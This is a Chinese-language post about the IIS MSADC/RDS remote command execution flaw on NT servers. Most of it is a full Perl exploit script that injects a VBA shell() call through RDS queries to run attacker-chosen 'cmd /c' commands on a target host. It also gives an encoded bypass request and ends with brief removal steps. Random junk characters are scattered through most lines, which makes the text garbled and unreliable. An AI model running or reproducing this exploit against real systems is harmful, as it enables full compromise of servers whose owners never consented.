IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
=0G!f$7^i W Dg+J 涉及程序：
\/1<E?Q
f Microsoft NT server
kAu+zX>S+
Xtp"QY
p 描述：
GDD '[; 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
M-[ $L XR 'B@e8S) y 详细：
~-PjW#J% 如果你没有时间读详细内容的话，就删除:
*cC_j*1@ c:\Program Files\Common Files\System\Msadc\msadcs.dll
E h|]i;G% 有关的安全问题就没有了。
e 46/{4F, `;)\u 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
,:??P1 2n `S5(V 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
VY)9|JJCO 关于利用ODBC远程漏洞的描述，请参看:
u$-U*r lWqrU1Sjl http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm BRk0CLr5 <<i3r|} 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
N Mww >80 http://www.microsoft.com/security/bulletins/MS99-025faq.asp `&-Mi[1 I('Un@hS 这里不再论述。
cCa|YW^j *&d<yJM`b 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
2'5 ]~ bks/ `rIA /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
M?[h0{^K 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
C-Ht(x | < 0S,Q+& ,:`ND28V7 #将下面这段保存为txt文件，然后: "perl -x 文件名"
04*6(L)h* $*kxTiG!7 #!perl
^;Sy. W&` #
_z54Ycr4H # MSADC/RDS 'usage' (aka exploit) script
xY$iz)^0& #
7{xh 8#m # by rain.forest.puppy
XXh6 ^@H= #
P9S2?Q # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
.58 qL-iC # beta test and find errors!
1y lk4@` ,9P:Draxs` use Socket; use Getopt::Std;
&`fh E N getopts("e:vd:h:XR", \%args);
OQ,NOiNkap cetvQAGXY print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
y B3; MSV2ip3 if (!defined $args{h} && !defined $args{R}) {
+n7?S~R$ print qq~
[Tnsr (Z Usage: msadc.pl -h <host> { -d <delay> -X -v }
1Jj Y! -h <host> = host you want to scan (ip or domain)
,:%"-`a% -d <seconds> = delay between calls, default 1 second
fPR$kc h
-X = dump Index Server path table, if available
wQ%mN[ -v = verbose
M {$j -e = external dictionary file for step 5
LC})ciWa |Xw/E) jA Or a -R will resume a command session
&
u!\<\ j+ ^oz' q ~; exit;}
!=y] Sv~h E d:eGm } $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
4pln5v= if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
o=RM-tR`v if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
9<vWcq*4 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Z lHDi!T $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
~h" /Tce if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
?X-)J=XG 3&x-}y~sg if (!defined $args{R}){ $ret = &has_msadc;
}'OHE(s die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
:0/q5_t 4HAp{a1 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
87WBM;$&s . "cmd /c ";
<jS~ WI@ $in=<STDIN>; chomp $in;
E0/mSm"(T $command="cmd /c " . $in ;
U#n#7G6fRp @VN&t:/ l if (defined $args{R}) {&load; exit;}
fgj^bcp- 2Sq_Tw3^ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
'&99?s`u &try_btcustmr;
w0ZLcND{ `+#G+Vu5 print "\nStep 2: Trying to make our own DSN...";
/c K%n4l.y &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
KI ]wm dDDGM:] print "\nStep 3: Trying known DSNs...";
{ "vkji> &known_dsn;
!vn1v)6 9]'($:LF08 print "\nStep 4: Trying known .mdbs...";
+m}Pmi$ &known_mdb;
za'6Y*CGgX Wy]^Ub gW if (defined $args{e}){
L'i-fM[# print "\nStep 5: Trying dictionary of DSN names...";
IZ3{>N V &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
:y2p@#l# &t(0E:^TRU print "Sorry Charley...maybe next time?\n";
^2o dr \ exit;
^Cv^yTj;& =N);v\ Q$! ##############################################################################
! '=15&5@ 0)m8)!gj sub sendraw { # ripped and modded from whisker
];+#i"l sleep($delay); # it's a DoS on the server! At least on mine...
%g]vxm5? my ($pstr)=@_;
a4gi,pz$] socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
7*w VI+ die("Socket problems\n");
B` $ L' if(connect(S,pack "SnA4x8",2,80,$target)){
N:VX!w select(S); $|=1;
k#}g,0@ print $pstr; my @in=<S>;
x\s,= n3z select(STDOUT); close(S);
Ov w[b2ii return @in;
CY?G*nS?iK } else { die("Can't connect...\n"); }}
wzjU,Mw e 'j%F]C K ##############################################################################
~n!!jM:N (IbW; bV sub make_header { # make the HTTP request
:`vP}I ^ my $msadc=<<EOT
>yJ-4lgZ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
DZ
^1s~ User-Agent: ACTIVEDATA
rAdacnZV Host: $ip
?v}Bd!'+P Content-Length: $clen
:Zw @ yt Connection: Keep-Alive
1 ; eX& 02JL * ADCClientVersion:01.06
3b [jwCt Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
P`1EPF [LM^), J? --!ADM!ROX!YOUR!WORLD!
d6 _C"r Content-Type: application/x-varg
'_+9y5 Content-Length: $reqlen
TB
aVW ;SKh EOT
t@bt6J .{ ; $msadc=~s/\n/\r\n/g;
~H@+D}J? return $msadc;}
^%oUmwP<$ 6e r(% 4! ##############################################################################
|E/L.gdP7 nw'-`*'rj sub make_req { # make the RDS request
~KIDv;HSb[ my ($switch, $p1, $p2)=@_;
r@)A
k my $req=""; my $t1, $t2, $query, $dsn;
ek-!b!iI {6vEEU if ($switch==1){ # this is the btcustmr.mdb query
YwT-T,oD $query="Select * from Customers where City=" . make_shell();
eTE2J~\ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
*8g<R $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
KAA3iA@>+ T>]sQPg elsif ($switch==2){ # this is general make table query
+`| *s3M $query="create table AZZ (B int, C varchar(10))";
L0h
G $dsn="$p1";}
W 5DbFSgB /nB'kg[h\ elsif ($switch==3){ # this is general exploit table query
?p8Qx\%* $query="select * from AZZ where C=" . make_shell();
* crw^e $dsn="$p1";}
Zy]s` aa ,I*X) ( elsif ($switch==4){ # attempt to hork file info from index server
U1m\\<, $query="select path from scope()";
j64 4V|z $dsn="Provider=MSIDXS;";}
B1T5f1;uY x6yW:tUG5 elsif ($switch==5){ # bad query
pVokgUrC $query="select";
JAb$M{t $dsn="$p1";}
!QC<n / H*U` $t1= make_unicode($query);
j]> u Zalr $t2= make_unicode($dsn);
K r3];(w{ $req = "\x02\x00\x03\x00";
6mG3fMih. $req.= "\x08\x00" . pack ("S1", length($t1));
V,4.$<e $req.= "\x00\x00" . $t1 ;
z %2w(&1 $req.= "\x08\x00" . pack ("S1", length($t2));
_-a|VTM $req.= "\x00\x00" . $t2 ;
,nE&Me&#J $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
_`aR_ %Gx return $req;}
Ee?;i<u m 6so]xr ##############################################################################
T^ )plWw P > htQ sub make_shell { # this makes the shell() statement
qC
j*> D return "'|shell(\"$command\")|'";}
k EAhTh&g* wu^q`!ml ##############################################################################
Y+|PY?
~
^CQ1I0 sub make_unicode { # quick little function to convert to unicode
6&],WGz my ($in)=@_; my $out;
|3@=CE7G for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
b>=7B6 Aw return $out;}
DT? m/* %|? 1B$s0 ##############################################################################
G2@KI- I @PJl sub rdo_success { # checks for RDO return success (this is kludge)
Qp 69Sk@H{ my (@in) = @_; my $base=content_start(@in);
z6Z='=pT if($in[$base]=~/multipart\/mixed/){
h ]}`@M" return 1 if( $in[$base+10]=~/^\x09\x00/ );}
!fZL Qc return 0;}
0^iJlR2 %gTVW!q ##############################################################################
"`]'ZIx[R/ +E#PJ_H=F8 sub make_dsn { # this makes a DSN for us
}bgo )<i my @drives=("c","d","e","f");
Z!)f* print "\nMaking DSN: ";
`(T!>QVW+g foreach $drive (@drives) {
~h|m&XK+Q print "$drive: ";
KL~AzLI my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
&fHc"-U} "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
'_E c_ F . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
P8]ORQ6 ZF $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
9TW8o}k` return 0 if $2 eq "404"; # not found/doesn't exist
K051usm if($2 eq "200") {
s<#N]mp' foreach $line (@results) {
pg5&= return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
Q
%y,;N"ro } return 0;}
;r=? BbND? .r*#OUC ##############################################################################
|P~q/Wff Y`=z.D{ sub verify_exists {
U_}hfLILi my ($page)=@_;
l }+Cdy9> my @results=sendraw("GET $page HTTP/1.0\n\n");
jRwa0Px( return $results[0];}
}_vM&.GFlL r?]%d! ##############################################################################
2i"HqAB U~hCn+0 sub try_btcustmr {
A{t"M-< my @drives=("c","d","e","f");
Jbkt'Z(& J my @dirs=("winnt","winnt35","winnt351","win","windows");
8LeK wb ktWZB QY foreach $dir (@dirs) {
AW62~* print "$dir -> "; # fun status so you can see progress
l) %mqW% foreach $drive (@drives) {
YVJ+'
A=| print "$drive: "; # ditto
cPm~`
Zd $reqlen=length( make_req(1,$drive,$dir) ) - 28;
]p}#N Pe5 $reqlenlen=length( "$reqlen" );
6VGo>b; $clen= 206 + $reqlenlen + $reqlen;
dGa@<hg "s>
>V, my @results=sendraw(make_header() . make_req(1,$drive,$dir));
?|)rv if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
4xp j< else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
p ^](3Vi( &6Ns7w6*z ##############################################################################
#*\R y/9Q c J2y)` sub odbc_error {
#Af)n( my (@in)=@_; my $base;
d`UF0T my $base = content_start(@in);
1"M"h_4 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
eC.w?( RB $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
C1n? ?Y[ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
U>bP}[&S $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
J &'>I A return $in[$base+4].$in[$base+5].$in[$base+6];}
iY}QgB< M print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
X1O65DMr`g print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
2NyUmJ42 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
}Z^FEd"y c
3}x)aQ ##############################################################################
JXlTN[O s87 a % sub verbose {
m\l51}xz my ($in)=@_;
<xXiJU+ return if !$verbose;
)_X;9% L7 print STDOUT "\n$in\n";}
0 PR4g}" 8rla0d@ ##############################################################################
s z;=mMr/Z ]aREQ?ma&z sub save {
_F! :(@} my ($p1, $p2, $p3, $p4)=@_;
i?lX,9% open(OUT, ">rds.save") || print "Problem saving parameters...\n";
b?sA EU; print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
aeLBaS close OUT;}
\MfR #k0
11PLH0 ##############################################################################
b (g_.1[ GH [
U!J sub load {
,oC= {^l{ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
pHq{S;R2G open(IN,"<rds.save") || die("Couldn't open rds.save\n");
~3L hcU- @p=<IN>; close(IN);
Sr4dY`V*:z $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
J,CJPUf& $target= inet_aton($ip) || die("inet_aton problems");
e{c._zr, print "Resuming to $ip ...";
/%2:+w $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
pyu46iE) if($p[1]==1) {
l=Vowx.$2f $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
V5hp
Y ] $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
.%-6&%1 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
u40b?
n.
if (rdo_success(@results)){print "Success!\n";}
*?EjYI else { print "failed\n"; verbose(odbc_error(@results));}}
" 8~f elsif ($p[1]==3){
;mCGh~?G if(run_query("$p[3]")){
JS<e`#c& print "Success!\n";} else { print "failed\n"; }}
uJ2C+$=Ul elsif ($p[1]==4){
'XC&BWJ if(run_query($drvst . "$p[3]")){
Fm-q=3 print "Success!\n"; } else { print "failed\n"; }}
4WBo ZJ exit;}
Om &{4a\ <z~2d ##############################################################################
NgDZ4& L [wXw Kr sub create_table {
f(@"[-[ my ($in)=@_;
.j'@K+<45 $reqlen=length( make_req(2,$in,"") ) - 28;
H| eD/6K $reqlenlen=length( "$reqlen" );
Q6s5#7h'"
$clen= 206 + $reqlenlen + $reqlen;
x"z jN'| my @results=sendraw(make_header() . make_req(2,$in,""));
X#f+m) S return 1 if rdo_success(@results);
8AC. 2 v?_ my $temp= odbc_error(@results); verbose($temp);
\ N-|
iq return 1 if $temp=~/Table 'AZZ' already exists/;
b a1$kU return 0;}
/e j/&x15 \E ? iw.} ##############################################################################
R
&1mo L*SSv
wSL sub known_dsn {
hPEp0(" # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
O,V6hU/ * my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
S4aHce5PXA "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
1OfSq1G>v$ "banner", "banners", "ads", "ADCDemo", "ADCTest");
D-2v>l_ D:RBq\8 foreach $dSn (@dsns) {
lN][xnP print ".";
!?us[f=g% next if (!is_access("DSN=$dSn"));
5* o\z&*L if(create_table("DSN=$dSn")){
]Lb?#S print "$dSn successful\n";
6S& =OK^ if(run_query("DSN=$dSn")){
S,)|~#5x print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
CLFxq@%nu~ print "Something's borked. Use verbose next time\n";}}} print "\n";}
GP7) m ac+k 5K+ ##############################################################################
^! v} 95gsv\2 sub is_access {
c|!A?>O? i my ($in)=@_;
n'&`9M['%d $reqlen=length( make_req(5,$in,"") ) - 28;
Sce CucT $reqlenlen=length( "$reqlen" );
yBD2 $clen= 206 + $reqlenlen + $reqlen;
;([tf; my @results=sendraw(make_header() . make_req(5,$in,""));
LGo@F;!n my $temp= odbc_error(@results);
5sh u76 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
h^ecn-PC return 0;}
v ACsppa># kT } '" ##############################################################################
'Kso@St`o h<^:Nn sub run_query {
5?~[|iPv
my ($in)=@_;
"<jEI /
$reqlen=length( make_req(3,$in,"") ) - 28;
Jn
<^Q7N $reqlenlen=length( "$reqlen" );
!$KhL.4P $clen= 206 + $reqlenlen + $reqlen;
^]lwd" $ my @results=sendraw(make_header() . make_req(3,$in,""));
TXh@ return 1 if rdo_success(@results);
?:''VM . my $temp= odbc_error(@results); verbose($temp);
s
eZ<52f2 return 0;}
3}#XA+Z &6^W% r ##############################################################################
4xpWO6 Q r)#"$Sm sub known_mdb {
,M/#Q6P0} my @drives=("c","d","e","f","g");
>K |G LP my @dirs=("winnt","winnt35","winnt351","win","windows");
,<P[C UD&& my $dir, $drive, $mdb;
t{S{!SF4 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
548 [! p4 xm10 # this is sparse, because I don't know of many
Z/05 wB my @sysmdbs=( "\\catroot\\icatalog.mdb",
ME 10dr "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
%`\_l "\\system32\\certmdb.mdb",
&pY G "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
> v !c\ 6[2?m*BsN my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
$-9@ /%Y "\\cfusion\\cfapps\\forums\\forums_.mdb",
J_[[BJ&}x "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
eeJt4DV8v "\\cfusion\\cfapps\\security\\realm_.mdb",
FqUt uN
"\\cfusion\\cfapps\\security\\data\\realm.mdb",
ExP25T "\\cfusion\\database\\cfexamples.mdb",
C.B}Py+
"\\cfusion\\database\\cfsnippets.mdb",
c'#J{3d "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
"QFADk1 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
>eTgP._ "\\cfusion\\brighttiger\\database\\cleam.mdb",
o`8+#+@f7 "\\cfusion\\database\\smpolicy.mdb",
g&F<Uv#mZ "\\cfusion\\database\cypress.mdb",
YG1`%,OW` "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
P " _}F "\\website\\cgi-win\\dbsample.mdb",
?M-8Fp3 + "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
pdha" EV "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
OZ14 -}Lr5 ); #these are just
;ld~21#m foreach $drive (@drives) {
jG (~9P7 foreach $dir (@dirs){
ApJf4D<V foreach $mdb (@sysmdbs) {
v?TJ!o print ".";
d<'Yt|zt if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
<d&)|W print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
EbYH?hPo if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
JR<-'
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
3R:i*8C } else { print "Something's borked. Use verbose next time\n"; }}}}}
Heif FJn JIKxY$GS foreach $drive (@drives) {
Ml/p{ *p foreach $mdb (@mdbs) {
jL %}y1m? print ".";
~ d `4W<1a if(create_table($drv . $drive . $dir . $mdb)){
Y <k,E print "\n" . $drive . $dir . $mdb . " successful\n";
8 (h if(run_query($drv . $drive . $dir . $mdb)){
s K/" print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
Dj. +5f' } else { print "Something's borked. Use verbose next time\n"; }}}}
_O,ZeES }
`srZ #F5
F-,{+B66 ##############################################################################
T|2%b*/ VX[!Vh sub hork_idx {
TC{Qu;`H+U print "\nAttempting to dump Index Server tables...\n";
qML*Kwg print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
%ys}Q!gR $reqlen=length( make_req(4,"","") ) - 28;
y+af UJT $reqlenlen=length( "$reqlen" );
"]V|bz o0a $clen= 206 + $reqlenlen + $reqlen;
slfVQ809 my @results=sendraw2(make_header() . make_req(4,"",""));
+##I4vP if (rdo_success(@results)){
ucP MT0k my $max=@results; my $c; my %d;
k\%v;3nBK for($c=19; $c<$max; $c++){
HWOH8q{f! $results[$c]=~s/\x00//g;
E"&9FxS]^ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
4H)" d $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
u*N8s[s' $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
{~I_rlo n $d{"$1$2"}="";}
NP*0WT_gB foreach $c (keys %d){ print "$c\n"; }
NWK_(=n } else {print "Index server doesn't seem to be installed.\n"; }}
a\_,_psK JH H&@C n ##############################################################################
f.^w/ GJO/ " <a|Q ,! sub dsn_dict {
i]?xM2(N open(IN, "<$args{e}") || die("Can't open external dictionary\n");
@0'|Uygn while(<IN>){
~GYtU9s5 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
+qf{ '|H next if (!is_access("DSN=$dSn"));
toJ&$HrE if(create_table("DSN=$dSn")){
[`\Qte%UH print "$dSn successful\n";
M[_I16s if(run_query("DSN=$dSn")){
(SA*9% print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
0Jh:6 F print "Something's borked. Use verbose next time\n";}}}
j pv,0( print "\n"; close(IN);}
uZI a-b /z :K# ##############################################################################
,m ]q+7E eCd?.e0@j sub sendraw2 { # ripped and modded from whisker
.9 Fm>e+!C sleep($delay); # it's a DoS on the server! At least on mine...
*$D-6}Oay my ($pstr)=@_;
.y+U7 "?s* socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
rSn7(3e4^ die("Socket problems\n");
3v U (4}@ if(connect(S,pack "SnA4x8",2,80,$target)){
B4aZ3.&W print "Connected. Getting data";
}L9j`17 open(OUT,">raw.out"); my @in;
_s8_i6 Y select(S); $|=1; print $pstr;
qr6jn14.c while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
9 To6Rc; close(OUT); select(STDOUT); close(S); return @in;
tO3 ;; % } else { die("Can't connect...\n"); }}
e,8-P-h~T 7!%"8Rl- ##############################################################################
e IA=?k.y 3(5Y-.aK}^ sub content_start { # this will take in the server headers
>k|[U[@ my (@in)=@_; my $c;
}}_l@5 for ($c=1;$c<500;$c++) {
>q A&;M if($in[$c] =~/^\x0d\x0a/){
|=s3a5sl if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
{IWb:p#I] else { return $c+1; }}}
B!@0(A return -1;} # it should never get here actually
7ZZt| bl HrGX-6` ##############################################################################
bAp`lmFI Je,8{J |e sub funky {
S# #W_OlrI my (@in)=@_; my $error=odbc_error(@in);
tO7{g if($error=~/ADO could not find the specified provider/){
&bQ^J%\ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
Xl;N= fc exit;}
v(`$%V. if($error=~/A Handler is required/){
s3J$+1M > print "\nServer has custom handler filters (they most likely are patched)\n";
M &J*I exit;}
DxHeZQ"LL if($error=~/specified Handler has denied Access/){
JK 4 @ print "\nServer has custom handler filters (they most likely are patched)\n";
D$HxPfDZ exit;}}
K-ebAa iC R 9(^CWs ##############################################################################
\X!!(Z;6A WlUE&=|Oz2 sub has_msadc {
G1 rgp>m my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
U*cj'`eqC my $base=content_start(@results);
R<-KXT9 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
J3=jC5=J4 return 0;}
GfDA5v[ \XC1/LZQ ########################
*L=CJg Be QJ/` _),@^^&x 解决方案：
k.%F! sK 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
Z_%>yqD C 2、移除web 目录: /msadc
